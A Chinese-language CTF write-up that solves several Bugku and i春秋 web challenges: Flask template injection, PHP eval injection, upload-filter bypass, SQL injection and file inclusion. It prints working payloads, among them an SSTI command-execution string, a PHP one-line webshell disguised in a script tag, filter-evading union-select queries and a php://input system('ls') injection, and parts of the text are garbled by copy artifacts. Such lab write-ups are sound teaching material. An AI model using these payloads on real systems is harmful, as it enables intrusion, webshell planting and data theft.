Bugku Simple_SSTI_1(python模板注入)

  1. 启动常见后只有一行字母,我们什么也看不出来。点击右键,查看网页源代码在这里插入图片描述
  2. 倒数第三行绿色的字
<!-- You know, in the flask, We often set a secret_key variable.-->

意思是 你知道,在flask【一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务。】里,我们经常设置一个secret_key变量,所以我们要读取secret_key变量,导出所有config变量,其中就包括SECRET_KEY,需要在题目url后面添加/?flag={{config.items()}},点击访问,则在页面可发现flag{c3af0e0464d89e12a4983dbf4b3984da}在这里插入图片描述

Bugku Simple_SSTI_2

  1. 启动场景,打开可看到这样的页面在这里插入图片描述
  2. 由题目可知,这道题依然为模板注入。与上一题思路相同,点击右键,查看网页源代码。
    利用上一题的思想,我们从源码中得不到多余的提示,只提示我们要传参。在这里插入图片描述
  3. payload:?flag={{ config.__class__.__init__.__globals__['os'].popen('cat flag').read() }}在这里插入图片描述

i春秋 Misc Web 爆破-1

在这里插入图片描述

  1. 打开链接是一段php源码。在这里插入图片描述
  2. 第一行include"flag.php"表示文件中包含flag.php文件,第二行$a = @$_REQUEST['hello']表示命名一个变量a来接收超全局变量【意味着它们在一个脚本的全部作用域中都可用】@$_REQUEST['hello'] $_REQUEST 用于收集 HTML 表单提交的数据。$a = @$_REQUEST['hello']则是请求一个名为hello的参数.
  3. 因此可以直接在url后面提交/?hello=GLOBALS,在这里插入图片描述
  4. R E Q U E S T 变 量 包 含 _REQUEST变量包含 REQUEST_GET、$_POST变量,因此post传参数hello=GLOBALS也可以。

i春秋 Misc Web 爆破-2

  1. 与上一题相同,打开链接是一段php源码代码与上一题基本相同,利用上一题的解题思路我们发现这种方法不可行,但是第二题源码中未出现过滤字符的代码。利用上一题的解题思路我们发现这种方法不可行在这里插入图片描述
  2. 把一个file_get_contents()函数【file_get_contents(path)函数,获得指定路径下的文件内容,以字符串的形式返回出来。eval(str)函数,把括号里的字符串,当作php命令来执行。】命令赋值给$a传入var_dump()中。var_dump()函数就是把这个命令以字符串的形式返回,进入到嵌套的eval函数里面,让eval函数来执行这行命令。
  3. 因此,我们我们使用get传参在url后面添加/?hello=file_get_contents("flag.php"),页面跳转成功后查看该页面的源码即可成功得到flag。在这里插入图片描述

i春秋 Web Upload

  1. 打开链接题目提示随便上传什么文件,我们尝试上传一个含有一句话木马的flag.php文件,显示上传成功。在这里插入图片描述

  2. 点击右键查看网页源代码,查看我们上传的php文件内容,发现php的标签被过滤。因此我们应该想办法绕过过滤,使蚁剑连接时能识别出一句话木马。在这里插入图片描述

  3. 我们尝试大小写绕过以及使用注释进行干扰、双写绕过,发现php标签中<?依然被过滤,而php成功绕过。我们用<script language="pHp">@eval($_POST['123'])</script>script标签来绕过<?,即可绕过成功。

  4. 打开蚁剑连接这个php文件,连接成功并打开后,即可在html目录下找到flag.php文件即可找到flag。在这里插入图片描述

在这里插入图片描述

i春秋Misc Web 爆破-3

  1. 打开链接可以看到一段php源码。在这里插入图片描述
  2. 我们需要看懂最后几行关于flag的代码,即当前session中 n u m s 是 不 是 大 于 10 , 现 在 n u m s = 0 , 只 有 使 n u m s + 10 , 才 可 以 输 出 f l a g , n u m s + 1 的 条 件 有 两 个 , 一 是 w h o a m i = v a l u e [ 0 ] . v a l u e [ 1 ] , 二 是 ‘ m d 5 ‘ 的 值 等 于 0 。 , 如 果 依 次 类 推 ‘ nums是不是大于10,现在nums=0,只有使nums+10,才可以输出flag,nums+1的条件有两个,一是whoami=value[0].value[1],二是`md5`的值等于0。,如果依次类推` nums10nums=0使nums+10flagnums+1whoami=value[0].value[1]md50nums>10`就打印出flag.
  3. 构造一个payload/?value[]=ea,我们需要第一次传入ea,然后得到打印出的随机数作为值第二次访问页面并进行传入。只要我们连续10次成功,就能在页面中看到flag。在这里插入图片描述

i春秋 Web SQL

  1. 题目提示这是sql注入,而且提示flag在数据库中在这里插入图片描述
  2. 查看源码得到提示SELECT * FROM info WHERE id=1
    在这里插入图片描述
    1=1时正常访问,1=2时页面为空白,则为数字型注入
  3. 尝试添加and 1=1,发现被拦截,测试or1=1,也发现or被拦截在这里插入图片描述
  4. 用相应字符来代替and和or,and---->&& or-----> || ,发现可以成功绕过。在这里插入图片描述
    1=1时正常访问,1=2时页面为空白,则为数字型注入
  5. j接下来尝试猜字段长度,使用order by字段和二分法进行猜测,发现order by被拦截在这里插入图片描述
  6. 我们尝试使用<>把order字符隔开绕过,发现可行,得出字段数为3。
    在这里插入图片描述
  7. 我们使用union(all)联合查询来查看显示位的字段数,发现select被过滤,同样使用<>隔开。
    在这里插入图片描述
    表明返回的列数为三,从左往右第二个位置会返回到页面上,找到回显位置后,就可以通过联合查询来回显数据库,即构造/index.php?id=1 union s<>elect 1,database(),3,得出数据库为sqli。(若空格被过滤,可用+绕过)
    在这里插入图片描述
  8. 接下来是通过不断构造payload使flag回显。构造/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables显示所有表名在这里插入图片描述
  9. 构造payload/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli'来回显当前调用的表。在这里插入图片描述
  10. 构造payload/index.php?id=1 union se<>lect 1,column_name,3 from information_schema.columns where table_name='info'回显info的列名在这里插入图片描述
  11. 构造payload/index.php?id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info回显flag。在这里插入图片描述

i春秋 web include

  1. 题目提示为文件包含漏洞【文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。】。点开链接,可以看到一段php源码并且出现了phpinfo的页面,从源码看没有任何过滤。在这里插入图片描述
  2. 要想知道文件的名字,搜索一下allow_url_include看看是否打开,Ctrl+F,定位到allow_url_include,发现是打开的。在这里插入图片描述
  3. 因此可以使用php://input协议,构造url /?path=php://input,post传入参数 <?php echo system('ls');?>,响应得到文件目录在这里插入图片描述
  4. 读取文件内容,同样修改get传参?path=php://filter/read=convert.base64-encode/resource=dle345aae.php,查看响应可能flag被加密.在这里插入图片描述
  5. 使用base64解密即可得到flag。
    拓展: php提供四种方法执行外部命令exec()、passthru()、system()、shell_exec(),这四个函数与一句话木马中eval()函数作用相同,即可以代替一句话木马中的eval()函数,常用的是system()函数, <?php system('ls')?>属于一句话木马。

Web Do you know upload?

  1. 点开链接,尝试上传.jpg的文件,发现可上传成功。上传包含一句话木马的php文件,即上传失败,因此可以考虑使用burp来修改后缀。在这里插入图片描述

  2. 在一句话木马前添加<?php phpinfo()?>,使用post传参的方法,可获取php版本以及各种权限进行查看。phpinfo执行成功,说明文件上传成功。在这里插入图片描述

  3. 查看diabled_function这一行,我们发现常用操作未被禁用,因此我们可以继续操作。

  4. 我们将一句话木马文件前添加的phpinfo()删去,重复上述操作,试用burp修改文件后缀并上传。

  5. 使用蚁剑连接木马,然后在config.php文件中可以看到数据库的用户名和密码。在这里插入图片描述

  6. 右键点击我们添加的shell。点击数据操作,然后选择mysql,输入登录数据库的用户名ctf和密码ctfctfctf,即可找到flag文件获得flag。在这里插入图片描述

Logo

GitCode 天启AI是一款由 GitCode 团队打造的智能助手,基于先进的LLM(大语言模型)与多智能体 Agent 技术构建,致力于为用户提供高效、智能、多模态的创作与开发支持。它不仅支持自然语言对话,还具备处理文件、生成 PPT、撰写分析报告、开发 Web 应用等多项能力,真正做到“一句话,让 Al帮你完成复杂任务”。

更多推荐